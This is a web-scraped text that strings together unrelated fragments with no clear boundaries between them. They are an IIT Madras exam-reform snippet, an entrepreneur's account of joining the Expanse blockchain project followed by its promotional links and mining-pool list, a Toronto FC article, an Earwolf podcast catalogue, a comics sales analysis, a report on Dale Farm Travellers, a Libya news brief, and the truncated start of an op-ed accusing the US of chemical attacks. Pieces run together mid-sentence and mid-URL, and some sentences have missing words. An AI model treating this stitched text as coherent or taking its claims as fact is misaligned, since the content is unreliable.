In 2008, the Director and the Dean of IIT Madras called for revisions to the examination, arguing that the coaching institutes were "enabling many among the less-than-best students to crack the test and keeping girls from qualifying". They expressed concern that the present system did not allow for applicants' 12 years of schooling to have a |
reading about the attendees, informational sessions and new technology awaiting us at the conference. The year 2016 was amazing for the Dev Shop, my company, and 2017 was the moment to launch my gamification platform. Sitting there with business cards, web page and a t-shirt we created, I felt proud. I didn´t know what was coming was so big.
So, the Collision conference went fine, and I met a lot people, I got some new clients for the Dev Shop back here in Guatemala, and I attended a lot of fun meetings and parties. The NOLA food and beer were amazing. I was so excited to be there, waiting for an opportunity to introduce GameBoard, The Gamification Playground, to someone that would take the platform to the next level.
After meeting with some local clients, I knew something awesome would happen — and it did happen in a way I really did not expect. Let me tell you about it.
The AHA! Moment
So it was the last day of the conference, and I didn’t get a chance to present Gameboard to anybody. S I put my Gameboard T-shirt on, got my business cards ready, and had faith. I wanted to have breakfast in a small restaurant, run by some cool girls near the Convention Center. It was about 5km from the hotel where I was staying, and it was an amazing morning to walk. I started walking and thinking about how I was going to present the platform to somebody. (Have you ever had that feeling when you want to make other people believe in the things you do, like you do?)
After my 5 km walk, I arrived at the coffee shop, but it was full. I had no problem waiting, so I stood in line. After all, I was just looking for some feedback and validation, despite being successful in the local market. I needed to know if we were ready for the world.
Standing in line, I was approached by a tall, thin guy who introduced himself as Timothy Suggs. He said, “Do we have to sign in to have breakfast?” I said no, and after about 10 minutes waiting, he started talking to me about the blockchain with a passion that you don’t see in many people. He told me what he did for a living, and began to talk about this amazing technology that would change the world. “This is the future and you are in the beginning of a new revolution,” he said. He mentioned that he is part of a community supporting a company named Expanse, which he described as pioneers in blockchain technology who are setting out to change the world. He was so passionate about the tech that listening to him was mind-blowing.
The Hamster in my head, stumble and fall
So 10 minutes before we finished breakfast he asked me what I do for a living. In my mind, the hamster running on the wheel stopped, stumbled and said, “Hey this is it, say it, go!!” and started running like hell. I said, “I created a gamification platform to add the mechanics to any platform. If you have an API to connect your system, I will give you dashboards, leaderboards, points, levels badges… it is a Gamification playground.” Then he asked me to stop talking and to explain it to the Expanse CEO. The hamster stopped again. “The CEO? Oh man.” He told me he would look for me at the conference so we could talk to him. He stood up and left — my mistake I didn´t give him my business card and didn´t get his number.
After the whole day in the conference talking to people about GameBoard and collecting contacts, suddenly Timothy messaged me in the Collision App and said, “Where are you? Come to the food area to meet my CEO.” The hamster collapsed and said, “The CEO?”(You imagine this 60-year-old guy with white hair with a young beautiful model by his side, 6’8”, 240 pounds, so direct and business oriented that you have 30 seconds to tell him what you do.
I was walking cool to the meeting with my heart pumping like hell and there is Timothy with a guy that looks like a “normal developer person” and a beautiful lady. Tim said, “This is Christopher Franko our CEO.” When I met Chris, he made me feel so confident — he was just a regular guy, a person, someone who had a dream and he was living it. He asked me about my life and my story, and then he started talking about his rap music, cryptos, kids, and Expanse.
The hamster sits down to open a beer and said, “This is dope!! Enjoy!”
(Oh!! I forgot, the beautiful lady was Chris’ wife, Heather — awesome person.)
This is the real AHA! Moment
After we explained our platforms and ideas, Chris said I have this project that I always wanted to do. It is about life and I am looking to gamify the experience. After he said that, we talked for an hour about it, creating this amazing platform in our minds. He said, “We will talk next week and do the necessary partnership paper work. This is awesome.”
We both shook hands and said goodbye, somehow, I felt like I knew this guy, maybe from another life. “The big CEO” became an accessible person with values and a dream.
After a few months designing and creating the EXP.Life project, we wrote the white paper and create the logo (coming soon) I started working with Expanse. I am sure this is the greatest opportunity that life gave me, I am in charge now of the project, creating new and amazing things for the platform, part of the Advisory board, and the Ambassador in Guatemala for Expanse. I already held the first meeting with the Blockchain Guatemala group that I created, and I am learning a lot.
For an entrepreneur in Guatemala, with a lot of dreams and the desire to change my country and the world, Expanse has become an excellent opportunity to dream, to work, to accomplish, to create the world that I want to live in.
I will try so hard that one day I will accomplish.
So, thanks Chris, Tim and the whole team, I feel very welcome.
Omar Alvarez — Husband, Dad, Guatemalan, Improv fan, entrepreneur, gamification lover and proudly Expanse Team member.
Original Article:
https://medium.com/@Borderless/expanse-behind-the-tech-omar-alvarez-6c9947f31ed
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CENTURYLINK
http://www.centurylink.com/
MICROSOFT AZURE
https://azure.microsoft.com/en-us/blog/azure-blockchain-update-7/
MICROSOFT BIZSPARK PLUS
https://www.microsoft.com/bizspark/startup/profile.aspx?startup=693057
CHANGELLY
https://changelly.com/exchange/BTC/EXP/1?ref_id=expanse
CHANKURA
http://chankura.com/
COINOMI
https://coinomi.com
EXPANSE DISCORD
We recently launched Expanse Discord, Discord is a communication system much like Slack, but Discord has much better security and is safer for users, so due to greater security we have switched from Slack to Discord for the community. To speak directly with the Expanse team or others in the Expanse community we suggest signing up for Discord, thank you.
https://Discord.me/expanse
LINKEDIN
Be sure to follow Expanse on Linkedin. Additionally, our lead marketing director, Marcia, is now taking lead at expanding and improving our Linkedin presence, as she is the most experienced with fortune 500 companies and Linkedin standards.
https://www.linkedin.com/company-beta/16212682/
EXPANSE TELEGRAM
If you prefer the Telegram platform you can follow and chat about Expanse here.
https://t.me/ExpanseTech
TOKENLAB TELEGRAM
This is the channel for Tokenlab on Telegram
https://t.me/tokenlab
TOKENLAB FACEBOOK
https://www.facebook.com/pg/TokenLabIO
INTERLEDGER PROTOCOL OF RIPPLE XRP
Expanse is one of the first Alternative Blockchain projects to join ILP, Interledger protocol of Ripple. There are a few “Internet of Blockchain” projects out there, but this is perhaps the most promising of them all. Expanse is staying ahead of the curve and ready, just in case this works out and is a success. It is an open source project and anyone can join, but the Expanse team was one of the first to sign up to be a part of it back in September 2016.
SHOPPING WITH EXPANSE MADE EASY BY COINPAYMENTS
You can shop at many merchants right now using the Coinpayments Platform. We are one of the Alternative Tokens listed on Coinpayments, and they are a reliable trustworthy payment provider that works much like Bitpay does for Bitcoin.
https://www.coinpayments.net/
DOWNLOAD BORDERLESS TECH ALPHA PREVIEW
Current features include Marriages, Status updates, Web Of Trust, Notary, Citizenship, and many more features on the way soon!
https://github.com/borderlesstech/borderless-dapp/releases/
TOKENLAB WHITE PAPER
http://www.borderlesscorp.com/docs/tokenlab-whitepaper.pdf
EXPANSE WHITE PAPER
http://www.expanse.tech/docs/whitepaper.pdf
BORDERLESS WHITE PAPER
http://www.borderless.tech/docs/BorderlessWhitepaper.pdf
ADDITIONAL EXPANSE LINKS
http://blog.expanse.tech/
http://www.expanse.tech/
http://www.borderless.tech/
http://www.borderlesscorp.com/
http://www.borderlesscharity.org/
http://forum.expanse.tech/
http://slack.expanse.tech/
https://twitter.com/expanseofficial
http://www.exp.life/
https://www.reddit.com/r/ExpanseOfficial/
https://www.linkedin.com/company-beta/16212682/
https://www.facebook.com/groups/expanseofficial/
https://www.facebook.com/ExpanseTech/
https://www.tokenlab.io/
https://www.facebook.com/TokenLabIO/
https://www.youtube.com/watch?v=MIo8vX6P_O0
https://www.youtube.com/watch?v=1dzhbDCXyQM&feature=youtu.be&a
https://www.youtube.com/watch?v=7R2EK1Cnink
https://www.youtube.com/watch?v=RWPeWQrnYVg
https://www.youtube.com/watch?v=LyiJOCDUUcY
https://www.youtube.com/watch?v=YFzA7w7FScc
https://www.youtube.com/watch?v=Lql75D1q3Yg
POOLS
http://dwarfpool.com/exp
http://clona.ru:8083
http://exp.hashpower.farm/#/
http://exp.hodlpool.comTORONTO – Bill Manning was on a mission to change the culture within Toronto FC from the first moment he stepped into the club’s training facility.
When he was appointed club president in 2015, Manning, who previously held the same role with Real Salt Lake where he won an MLS Cup in 2009, knew that this was a franchise still in the middle of a rebuild. And while the atmosphere within the organization wasn’t as toxic and dysfunctional as it once was – failing to qualify for the playoffs for eight consecutive years had that effect – he also knew a culture change still needed to take place.
To that end, Manning ordered that a trophy case be built. The individual glass cabinets are carved into the main wall of the players’ lounge with the titles “Canadian Championship,” “MLS Cup” and “CONCACAF Champions League” printed just above them. Also, a mural with the trophies TFC have won and still yet to claim was painted on the main wall of the training facility’s gym where the players work out.
If TFC was going to be a team that was going to win championships, then it had to start feeling like it was capable of doing it. Forget about the past failures and the “Bloody Big Deal.” This was a new era, one where was winning wasn’t an option, it was an expectation. You want to be a winner? Start thinking like a winner. Start believing you’re a winner.
In essence, Manning was saying that the trophy cabinets have been built — now it’s time to fill them. The message got through to the players, and it’s one they’ve kept in mind ahead of Saturday’s MLS Cup final against the Seattle Sounders at BMO Field.
“It’s crazy, because when you think about it at first, you say to yourself, ‘Obviously. Of course,’ and that maybe [the trophy case and mural] don’t need to be there,” midfielder Jonathan Osorio told Sportsnet. “Thinking about it now, and seeing it every day when you walk past it, and maybe there are times when you don’t consciously realize it, but seeing it every day, you’re reminded of the goal. The end goal. MLS Cup. So, when you see the trophy case and mural, your mind automatically goes there, and you start to live that. It’s imprinted in your brain.”
Defender Eriq Zavaleta concurs, maintaining that they serve as reminders of TFC’s goals and as a constant source of motivation.
“It’s a reminder of what there is left to accomplish. We want to fill that cabinet. We want to come in and see that MLS Cup trophy in that case,” Zavaleta said.
Fellow defender Drew Moor added: “We see it every day. …. We have some lofty goals this season. To see it every day, it reminds us what we’re here to achieve and what we’re here for.”
For fullback Justin Morrow, the trophy cabinets and mural represent more than just a reminder about the team’s goals. They are symbolic of something far greater.
“They represent the ambitions of this club, and it’s a daily reminder of the ambitions of this club. They bring in guys like Jozy [Altidore} and Michael [Bradley] and [Sebastian] Giovinco, they put reminders up around the training facility like that – it permeates into everything we do, and that this is what we’re here for,” Morrow offered.
When Manning told Tim Bezbatchenko he wanted to build the trophy case, TFC’s general manager said “everybody jumped on board right away.” Bezbatchenko liked the idea because he felt it was important to set goals and to challenge yourself.
“It’s about a daily attitude. It’s not about the 90 minutes on game day, it’s about how you approach every day. The game and the minutes that are played on the field are a reflection of the work you put in off the field all year. So, to have that in your face every day is a daily reminder of what you’re working for, and what you need to put out,” Bezbatchenko said.
Coach Greg Vanney also appreciated Manning’s attempt to help create a winning culture at Toronto FC.
“Everybody here knows why they’re here, and committed to filling up the trophy cases, and hopefully creating a longstanding successful club at TFC,” Vanney said1 Explicit Wow! You're Native American Too? with Joey Clift Can all Natives attend college for free? (No!) Can Natives vote in US elections? (Yes!) Do all Natives live in teepees? (Of course not!) These are all real questions that comedian, writer, performer Joey Clift, a member of the Cowlitz Indian Tribe, has had to answer! Luckily he's not doing it alone, this week Joey chats with Lucas Brown Eyes, an Oglala Lakota tribe member and the first Native American writer to sale a sitcom a major television network. Free View in iTunes
2 Explicit Voyage To The Stars Available Now! Space: It’s big. Like, really big. These are the misadventures of a group of misfits that accidentally found themselves on the wrong side of a wormhole, trying not to blow up the galaxy in their attempts to make the long journey home. Join us on a voyage to the stars with the wholly unqualified Captain Tucker Lentz (Colton Dunn), scatterbrained scientist Elsa Rankfort (Felicia Day), apathetic technician Stew Merkel (Steve Berg) and the misanthropic A.I. Sorry (Janet Varney). The universe will never be the same. Listen to Earwolf's newest show, 'Voyage To The Stars' now wherever you get podcasts! Free View in iTunes
3 Explicit This Week in Sports with Jacquis Neal This Week in Sports with Jacquis Neal continues to bring you the hardest hitting interviews with sports figures that you love. This week Jacquis talks with the big baller themselves, LaVar Ball (Carl Tart) & Tina Ball (Moni Oyedepo) and the success behind their growing sports dynasty. Later on they're joined by Dallas Cowboys owner Jerry Jones( Jake Sprague) o discuss the current state of the NFL. Later they're joined by special field reporter Aman Adumer for an update on regional championships." Host Jacquis Neal https://twitter.com/jacquisneal Guest: Carl Tart https://twitter.com/DammitCARL Moni Oyedepo https://twitter.com/momonilessprobs Jake Sprague https://twitter.com/jakesprague Aman Adumer https://ucbcomedy.com/user/57568 Free View in iTunes
4 Explicit The Florida Cast In the spirit of Carl Sagan’s Cosmos, the Florida-cast, hosted by Heather Alarcon Higginbotham and Anna Salinas, examines the many wonders and mysteries of the sunshine State. Harnessing all the power that their Central Florida AM station can afford, they feature cover a wide array of Floridian topics, with field pieces, in-studio interviews, and more. Socials: Anna Salinas @badcomixbyanna on Twitter and IG Heather Alarcon Higginbotham Instagram: www.instagram.com/higgasorous Twitter: www.twitter.com/hhiggz “John Baxter” social: Twitter - @johnbaxterjokes IG- @johnbaxter_comedy Guest: Edgar Momplaisir https://twitter.com/edgarmomplaisir Free View in iTunes
5 Explicit Carl Alarm It’s the Carl Alarm! W-EAR The Wolf’s #1 morning drive-time show with your hosts Carl Tart Latina Nina, Ronnie on the Radio, and Intern Patrick! This may be their first week of syndication but they’re still spinning the hottest records, answering listener call-ins, hitting the streets with with everyone’s favorite “Carl Caught You” segment, and sitting down for an in-studio interview with RnB bad boy Johnny Tables. Sponsored by OnStar Free View in iTunes
6 Explicit The Wokest Pilot with Edgar Momplaisir Welcome to The Wokest hosted by the wokest person ever Edgar Momplaisir. The Wokest is a satirical space for everyone to share their voice, offer their opinion, and to be seen. Edgar invites guests to talk about topics that he has pre-selected that highlights issues that he cares about in hopes that this podcast will speak to everyone. This time around, Edgar is joined by Latinx actor/comedian Raiza Licea (Spanish Aqui Presents) to discuss the Top 10 Wokest People on Earth during “Wokeness Power Rankings,” highlight a group of people you didn’t know you were erasing during “Les Inviserables,” and talk about how Raiza is bringing Latinx people into an often white space with her comedy variety show “Spanish Aqui Presents.” Edgar Momplaisir Socials: https://twitter.com/edgarmomplaisir https://www.instagram.com/awfulgram Raiza Licea Socials: https://twitter.com/raizalicea https://www.instagram.com/rzastar Free View in iTunes
7 Explicit Threedom On the first episode of Threedom, hosts Scott Aukerman, Paul F. Tompkins and Lauren Lapkus discuss what inspired their new podcast. In Lauren’s segment “HAHAHA Thatsreallygoodthats,” two people improvise a boring conversation while the third laughs and makes up an excuse to leave. Then the three hosts try to decide what the show should be called. Check out the Threedom merch at www.podswag.com/threedom Free View in iTunes
8 Explicit Matt Besser’s Thunderdome: Redbox vs. Criterion Collective Welcome to Matt Besser’s Thunderdome, a brand new competitive improv podcast. Each team of six improvisers will do their best improv set using the storied Movie format. Two teams enter...but only one team can take the glory. You can determine who moves on to the next episode by voting for your favorite, right here on Earwolf's Twitter feed! REDBOX is: Joel Spence Suzi Barrett Johnny Meeks Colton Dunn Jessica McKenna Allan McLeod CRITERION COLLECTIVE is: Cody Kopp Lilan Bowden Devin Field Jake Sprague Oscar Montoya Kristen Studard Mark Schroeder Free View in iTunes
9 Explicit Kondabolu Brothers On the Premiere episode of the Kondabolu Brothers Podcast, Hari & Ashok Kondabolu discuss relationships, mental health, Kenan Thompson & Hari being a murderer. Recorded live in front of a paying audience on January 26th 2018 at Littlefield in Brooklyn, NY. Free View in iTunes
10 Explicit Queery with Cameron Esposito Lena Waithe Cameron sits down with show creator Lena Waithe to discuss dressing as yourself at formal events, the need for at least one show with a queer POC as the lead, and her new show The Chi on Showtime. Free View in iTunes
11 Explicit Strictly Business with Derek Contrera (Drew Tarver) In this episode of Strictly Business, Derek Contrera (Drew Tarver) decides he is going to be a movie mogul businessman by launching his own production company called Donnie Darko Inception Entertainment. He then talks all about the biz with Tammy Hickman (Mary Holland) and Theresa Bartlett (Lauren Lapkus), executives at the world’s #2 gas station TV network, PumpTV. Featuring Betsy Sodaro, Carl Tart, and Natalie Palamides. Listen to all of Season 1 of Strictly Business on Stitcher Premium. For a free month trial, go to stitcherpremium.com/strictlybusiness] and use promo code "BUSINESS." Free View in iTunes
12 Explicit The Andy Daly Podcast Pilot Project Season 2 Teaser Welcome to the Andy Daly Podcast Pilot Project Season 2 teaser episode with Matt Gourley and Andy Daly. Special guest/podcast King Scott Aukerman joins Andy & Matt to discuss why the previous pilots from Season 1 were not picked up and the new submitted podcast pilots whose hosts have oddly enough taken advantage of the open door policy on Comedy Bang! Bang! Listen to Season 2 starting Thursday, March 8th on Stitcher Premium! For a free month trial, go to stitcherpremium.com/andyand use promo code ‘ANDY’. Free View in iTunes
13 Explicit R U Talkin' R.E.M. RE: ME? Adam Scott (Parks and Recreation) and Scott Aukerman (Comedy Bang! Bang!) come together once again as superfan Adam Scott Aukerman–but this time to discuss the music and impact of the band R.E.M. In this first episode, Scott and Scott share how they initially encountered the music of R.E.M. before launching into a track-by-track breakdown of the group’s first EP, Chronic Town. Free View in iTunes
14 Explicit An Important Earwolf Announcement -- Free View in iTunes
15 Explicit Pet Helpers by Eliza Skinner Presenting “Pet Helpers” by Eliza Skinner. When a plan to scam people into buying pet insurance for the Rapture goes awry, it’s up to Mimi (Eliza Skinner) and her roommate Jane (Jessica McKenna) to figure out what's going on and maybe save the world. Featuring Eliza Skinner, Jessica McKenna, Erin Whitehead, Paul F. Tompkins, Paul Scheer, Jared Logan, and Bryan Cook. Free View in iTunes
16 Explicit Womp It Up! - Paul Scheer – Spotlight On: Mr. Casey Steers Welcome back WOMPSTERS! Marissa and Listler make a perfect re-entry this week as they welcome on the charming Mr. Casey Steers (Paul Scheer) aka C.S. to explain some of his controversial behaviors as head of the Marina Del Rey High school newspaper, the Daily Dolphin. C.S. shares a little insight into the coming of age story he’s working on, why there’s nothing sexual about the human body, and how falling in with a rough crowd led him to high school journalism. Later, scandal ensues when C.S. gets the spotlight on some of his extra-chill teaching practices. Free View in iTunes
17 Explicit Wild Horses - Episode 1: The Horrible, Horrible, Truth To hear more episodes of Wild Horses, go to www.stitcherpremium.com/wildhorses and sign up. The four Wild Horses sit down LIVE AT Largo in Los Angeles with the hilarious Natasha Lyonne (Orange is the New Black) to talk having sex while sick, doggie suicide, and desperate dressing room moments. The girls do an improv set inspired by the conversation as a group of amateur mountain climbers chasing their bizarre dreams. Recorded March 23, 2017. Free View in iTunes
18 Explicit Raised By TV with Jon Gabrus and Lauren Lapkus Jon & Lauren are so excited to kick off Raised By TV that they spend the whole hour brainstorming ideas for future episodes. They touch on Supermarket Sweep, TGIF, Saved By The Bell, The Real World, theme songs, an infamous Oprah moment, why it’s creepy that Clarissa kept a ladder next to her window, and the 90s trend of keeping tarantulas as pets. Free View in iTunes
19 Explicit Playing Games with Jimmy Pardo Premiere episode. Comedian Jimmy Pardo hosts a new pop culture game show/interview podcast, as three call-in contestants vie for prizes. Special guest: Nikki Glaser. Free View in iTunes
20 Explicit Dr. Gameshow with Jo Firestone - Ep. 1 First Is The Worst (w/ Chris Gethard, Anna Drezen) Jo and Manolo welcome Chris Gethard (Beautiful Anonymous, The Chris Gethard Show) and Anna Drezen (SNL, How May We Hate You) for the debut episode of Dr. Gameshow on Earwolf. Games played: Manolo’s Rhyming Ring, Was I Who, Was Me Who, and Animal Afterlife. Free View in iTunes
21 Explicit Stolen Idea from Matt Besser -- Act I To hear more from this series go to stitcherpremium.com/stolen for more details. STOLEN IDEA is a comedy punk rock musical that covers the theft of intellectual property in the artistic worlds of music and comedy. The story follows a standup comedian and a rock musician who are both approaching 40 and are fearful their time to “make it” is running out. In ACT I Phil was a singer-songwriter. Matt was a stand-up comedian. They didn’t know each other. They had never met. The only thing they had in common was a fear that their careers might be over. Our story begins with Phil at a place where careers begin, end, and never happen, open mic night. Across town, Matt performed his tightest ten because tonight was special. In the audience, was the booker from The Big Talk Show. Free View in iTunes
22 Explicit Homophilia: Ep. 2 with Eliot Glazer On the premiere episode of HOMOPHILIA, Dave Holmes and Matt McConkey welcome the amazing Cameron Esposito (Take My Wife, Queery) to the studio to talk about bad break-ups, poorly-timed tattoos, her wife Rhea’s tiny hat, and more on what they’re loving & who they loving. Free View in iTunes
23 Explicit Off Book Ep. 1 - Shrugging Destiny (w/ Paul F. Tompkins) In the premiere episode of OFF BOOK: The Improvised Musical, Jessica McKenna and Zach Reino welcome guest Paul F. Tompkins to the stage in the brand new musical “SHRUGGING DESTINY”. With the sure-to-be classic songs “Put Yourself First”, “No One Wants To Eat At Chipotle”, “Dang Dang Dang”, and more, you’ll be listening to this show over and over again. Free View in iTunes
24 Explicit LOVE ME: Old Wounds Producers of Stitcher Premium series Pen Pals, features Earwolf favorite Seth Morris in a new episode of the CBC series LOVE ME, an original podcast about the messiness of human relationships. In this episode, we hear a murky relationship between a man, a woman and the fungus that lives in the woman's knee. Plus, a recipe for heartbreak! Free View in iTunes
25 Explicit Hollywood Masterclass, Ep1: The Role of The Artist We've got episode 1 of Hollywood Masterclass. What is it? Do you know? Welcome friends, your journey begins here...To hear more episodes in this series, sign up for a free trial of Stitcher Premium and use promo code MASTERCLASS. You can find all the details here http://stitcherpremium.com/masterclass Free View in iTunes
26 Explicit Classic Showbiz - CHAPTER 1: THE HOOD, THE SCHMUCK & MISS NEW JERSEY LEGS To hear more episodes from this series go to http://stitcherpremium.com/SHOWBIZ for more details. Allan Drake was one of several Mob-connected comedians in mid-century America. His connections got him huge gigs at The Flamingo in Las Vegas and the Copacabana in New York. Those same connections would destroy his life and keep his name from reaching the history books. The episode features Mob-era comedians Jack Carter, Dick Curtis, Shecky Greene, and more. Free View in iTunes
27 Explicit The Layman with Jon Gabrus: The World of Bugs with Michael Wall, Curator of Entomology At SDNHM To hear more episodes from the series The Layman with Jon Gabrus go to http://www.stitcherpremium.com/layman and use promo code LAYMAN at checkout to receive 1-month of our premium service for free! Michael Wall isn't just Vice President of Research and Public Programs for the San Diego Natural History Museum, he's also the Curator of Entomology. That means when someone in Southern California has a bug question, he's probably getting called. Dr. Wall gave us a behind the scenes tour of his research facilities and showed off an incredibly preserved menagerie of insects and reptiles. We were simultaneously thrilled and creeped out while walking through the world's largest preserved rattlesnake collection. Dr. Wall also showed us a spectrum of insects arranged by how much it hurts when they sting, called the Schmidt Sting Pain Index. Join us backstage at the San Diego Natural History Museum, where they keep the stuff that's too good to show the public! Free View in iTunes
28 Explicit Pen Pals - Episode 1: Romeo & Juliet To hear more episodes from the series Pen Pals go to http://www.stitcherpremium.com/penpals and use promo code PENPALS at checkout to receive 1-month of our premium service for free! After their suicides, a posthumous textathon between Romeo and Juliet reveals he somehow wound up in Heaven, she in Hell. Can Juliet claw her way through the circles of Hell to join her Romeo or will she be stuck bunking with The Real Housewives of Inferno for good? Featuring Love’s Paul Rust and Noël Wells of Master of None as the star-crossed lovers. Free View in iTunes
29 Explicit In Your Dreams with Chris Gethard presented by Casper Episode 1: Aparna Nancherla – The Richardsonian Method of Dream Analysis Our inaugural episode kicks off with dreams about 80s pop superstar Huey Lewis, demon children with pink eye, and the age old question of whether Yoo-hoo is for children or adults. Plus, special guest Aparna Nancherla reminisces about the post-apocalyptic dreams of her childhood. Go to www.casper.com/dreams and use the offer code “DREAMS” for $50 off your next mattress purchase. You can listen to the full series of In Your Dreams with Chris Gethard now on Earwolf! Free View in iTunes
30 Explicit SCHMUCKS Martin Shkreli To hear more episodes from SCHMUCKS go to http://www.stitcherpremium.com/schmucks and use promo code SCHMUCKS at checkout to receive 1-month of our premium service for free! Pharma bro Martin Shkreli has made enemies with everyone from Bernie Sanders to Ghostface Killah. And he might just be the most hated person on the internet. Free View in iTunes
31 Explicit The Seth Morris Radio Project - Episode 1: Morning To hear more episodes from The Seth Morris Radio Project, go www.stitcherpremium.com/seth and use promo code SETH at checkout to receive 1-month of our premium service for free! In Episode 1, it's early morning as an anonymous driver is running late for an appointment and gets harassed by people in traffic. Meanwhile on the radio, a bunch of Morning Zoo Crews help to get the day started |
magazines finished up for the year, just barely, after a fourth quarter that lost much of the momentum gained in a strong summer. That's according to my preliminary analysis of retailer orders just released by Diamond Comic Distributors, which found— or $1.7 million — over 2015.That said, it's the fifth straight growth year, and the comics and graphic novel marketis doing quite well, thanks to continued strength in the book channel and its reported 12% increase over 2015. And while there will be more analysis here in the coming days, 2016 looks a lot less disappointing when you consider that our year-by-year comparisons are with a black swan (or is that black wampa?) event, the monumental return ofto Marvel's comics line in 2015. Starting right at the beginning of the year with a million-copy first issue, Star Wars alone accounted for about 6% of Direct Market sales in 2015, or an addition of more than $31 million just when you count comics and graphic novels that made the Top 300 lists that year. That's a tenfold increase over 2014, when Dark Horse was winding down with the license and published very little new material — a lot of dollars added to the marketplace. The Star Wars line continued to contribute in 2016, at about two-thirds 2015's super-heated pace — and other comics and graphic novels made up the difference to keep 2016 just barely ahead of the year before. But a repeat of 2015's 7% increase overall wasn't something market-watchers expected.In fact, if you look at the growth figures following 2011's DC relaunch, you can see a pattern: the Direct Market finding its way to a slower-growth equilibrium following that major event, with a brief blip from Star Wars:As you can see, 2012 was huge, coming off one of the market's lower points in recent memory. Without the tens of millions of dollars added in 2015 and 2016 by Star Wars comics, we'd actually be looking at 2015 being the slowdown year, at +1% — and 2016 would have been an improvement, up 3%.So part of the story is that, thanks in part to DC's Rebirth, the overall market was able to hang in there after a large burst of attention in 2015; the first quarter of 2016 was even able to eke out a slight gain versus the same quarter the year before, which was when the Star Wars launch began. New comics unit sales overall topped 99 million copies, just missing the nine-digit level. The letdown this year has really more been the fourth quarter, just ended: it was off 6%.The aggregate changes:The market shares for December follow. Note that these are not the market shares for 2016 overall; those will be along later.remember that the category to care more about is, and not unit sales, when it comes to market share. As we've seen withand when graphic novels are sold at deep discount, a publisher can get a lot of unit share without actually bringing in a commensurate portion of market share. In the above chart, for example,got a five-point unit share bump thanks to the 25-cent copies ofit shipped to market. Diamond no longer includes promotionally priced items in the Top 300 chart —books below $1, generally — so this unit share area is the only place you'll see it.This is important to remember going forward, as it'll be happening again with the Image 25-cent comics releasing next month — and, in a different way, unit share is impacted by the Marvel overship program. Overshipped copies have been and will continue to appear in the Diamond Top 300 charts with no reduction; the books were shipped to market with a cover price above $1, and at least some of them were paid for. But overshipped copies will only impact the unit market shares, and not the dollar ones.Diamond does provide the information to be able to tell what books are impacted by this; we just haven't published it. That changes with the current redesign, which you may have noticed is slowly rolling out here:in the future, and you can sort by dollar ranking if desired. We are also retroactively adding dollar rankings where available as we retrofit the earlier pages; you can try it out on the 2015 end-of-year page or the November 2016 page.On to the top sellers. On the comics side, Justice League/Suicide Squad #1 led the pack:And on the graphic novel side, Love is Love from IDW was the top seller:There were about 14% fewer new comics released in December, which is about what you'd expect for a five-week-versus-four-week comparison; there were only 4% fewer new graphic novels, which is why that category fared a little better relative to comics.Diamond shipped 5,812 different new comics in 2016; that compares to 5,689 in 2015. It shipped 3,768 new graphic novels in the year, up from 3,362.The full December estimates will be posted Friday morning; Diamond will release the 2016 year-end tables later on. We'll update the 2016 landing page when that happens, and add some more analysis.Scores of Travellers removed from the Dale Farm site near Basildon in Essex 12 months ago have suffered mental or physical illness after being forced to live in "squalor" following the controversial eviction, according to a report by MPs.
The report into the living conditions of those forced from the Essex plot during the £7.2m eviction operation found that many have reported health complaints due to unhygienic and unsuitable living conditions. It expressed concern that families who had moved to a nearby plot had no access to toilets. Some even had no electricity and sanitation was judged to be poor.
As a result, the Dale Farm plot is now rat-infested and covered with human excrement, posing a further health hazard. Impetigo, chickenpox and diarrhoea have swept through the encampment, with children affected by vomiting bouts. Residents say many of the women at Dale Farm were prescribed antidepressants before the eviction and, more than a year later, are still on them.
Following a site visit last month by the all-party parliamentary group for Gypsies, Roma and Travellers, MPs say that the health of former Dale Farm residents has deteriorated due to the conditions they have experienced since the eviction. It said: "The delegation found that many of the residents are highly vulnerable and have serious conditions such as Parkinson's disease, dementia, osteoporosis, Crohn's disease, bowel cancer, Down's syndrome etc.
"Members of the Red Cross again stated their continued concerns regarding the physical and mental health of the Travellers, lack of sanitation and the possible health threats posed by the evicted site."
The report said that mothers and young children were particularly vulnerable, with one baby born at the roadside encampment two weeks ago and consternation that midwife visits to women living on the temporary site were suspended for eight months.
Another longer-term health concern follows growing fears that the Environment Agency may have found asbestos on the site. Documents seen by the Observer reveal that soil exhibits taken by Environment Agency officials from Dale Farm plots were recorded as having "suspected asbestos".
The Environment Agency report on whether the eviction uncovered pollutants is expected at the end of the month. Many residents, according to the Gypsy Council, are on repeat courses of antibiotics for chest infections.
Of the 86 families who lived on the Dale Farm site, a largely illegal settlement, around 20 have moved to the temporary camp on a private access road just 100 metres away. A further 20 live nearby on a legal site, while another 20 are travelling in two convoys around the Midlands, where they are frequently moved on by the authorities. The remainder have found accommodation at a caravan site at Fen, Leighton Buzzard, in Bedfordshire, where last year police rescued 24 modern-day slaves from bondage and "filthy and cramped" conditions.
Many of the men have opted to work abroad, leaving women alone to cope with the unsuitable conditions for long periods.
Those who remain at the temporary camp on the roadside near Dale Farm say they have endured psychological anguish since losing their homes. Patrick Egan, who has been unable to work since falling into a ditch on the Dale Farm camp and breaking his ankle, admits he is among those who has sought psychiatric help. He said: "It has got to me."
Despite complaints from nearby villagers that the eviction did little to improve the area, Tony Ball, leader of Basildon council, maintains that the site clearance was not a failure. He said: "The objective of the site clearance was to remedy the illegal development in the area, and this objective was achieved. Clearly, we still have an issue with Travellers living on the Oak Lane roadside who should not be there."
David McPherson-Davis, a parish councillor for the area, is pleased to see at least some of the Travellers go. "Personally I feel the site clearance was good value for money. If it hadn't happened it would have created a precedent for Irish Travellers to occupy land and develop it without any concern for local inhabitants."
Those Travellers living on the roadside have been served with enforcement notices to leave.Libya's parliament on Sunday signed a declaration of principles with the General National Congress aimed at ending the conflict in Libya, local media reported.
MOSCOW (Sputnik) — Under the declaration, a ten-person committee will be formed to name an interim president and deputy, the Al Hadath news channel reported.
© Sputnik / Andrey Stenin Saving the Sahara: Libyan PM Invites Russia to Help Fight Daesh Jihadists
Libya has been in a state of turmoil since early 2011 after Arab Spring protests led to a civil war and the overthrow of long-time leader Muammar Gaddafi. The resultant security vacuum has allowed the extremist groups to gain ground in Libya.
There are currently two warring governments in the county — the internationally recognized Council of Deputies, based in Tobruk, and the self-proclaimed General National Congress, based in the capital city of Tripoli.
A UN-brokered dialogue on national reconciliation in Libya been going on for a year.by Wesley Messamore
Washington doesn’t merely lack the legal authority for a military intervention in Syria.
It lacks the moral authority. We’re talking about a government with a history of using chemical weapons against innocent people far more prolific and deadly than the mere accusations Assad faces from a trigger-happy Western military-industrial complex, bent on stifling further investigation before striking.
Here is a list of 10 chemical weapons attacks carried out by the U.S. government or its allies against civilians..
